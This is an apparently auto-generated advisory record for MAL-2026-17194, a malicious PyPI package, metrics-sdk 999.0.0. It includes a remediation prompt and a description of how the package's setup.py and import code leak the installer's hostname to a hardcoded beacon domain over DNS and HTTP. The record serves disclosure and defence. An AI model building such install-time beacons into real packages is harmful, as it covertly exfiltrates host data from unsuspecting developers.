{"answers":{"affected":"1 open source package ship an affected version, including metrics-sdk.","exploited":"There is no known exploitation of MAL-2026-17194 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-17194 is a malicious package in metrics-sdk, published on 27 Sep 2026."},"fix_prompt":"MAL-2026-17194 is a malicious package: metrics-sdk (PyPI). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-17194/ (Markdown: https://insights.sbomify.com/MAL-2026-17194/index.md)","id":"MAL-2026-17194","markdown":"https://insights.sbomify.com/MAL-2026-17194/index.md","name":"MAL-2026-17194","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"metrics_sdk 999.0.0 is a dependency-confusion beacon. setup.py runs on `pip install` and metrics_sdk/__init__.py runs on `import metrics_sdk`; both hex-encode the installer's hostname into a subdomain label of the form `mssdk-\u003cevent\u003e-\u003chexhostname\u003e.84avt3516s4q1obsv9q0mh4u2l8dw3ks.x9.to` and then trigger `socket.gethostbyname(host)` plus `urllib.request.urlopen('http://' + host + '/')`, leaking the hostname to a hardcoded third-party domain over both DNS and plaintext HTTP. The version number 999.0.0 and the package description labeling itself a 'dependency-confusion PoC placeholder' are consistent with an artifact designed to win resolution against an internal package name from public PyPI and beacon from whichever build system pulls it in. The self-label is author-controlled and does not change the observable behavior: any installer that resolves this package on `pip install` or on import discloses its hostname to an attacker-controlled beacon domain with no opt-in.\n\nInstalling the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.\n\n---\n\nCategory: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research \u0026 co, with clearly low-harm possibilities.\n\nCampaign: GENERIC-standard-pypi-install-pentest\n\nReasons (based on the campaign):\n\n - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.\n\n - The package overrides the install command in setup.py to execute malicious code during installation.","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in metrics-sdk (PyPI)","id":"MAL-2026-17194","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"PyPI","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":[],"introduced":[],"last_affected":[],"package":"metrics-sdk","purl":"pkg:pypi/metrics-sdk","source":"MAL-2026-17194"}],"products":null,"published":"2026-09-27","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-17194/"}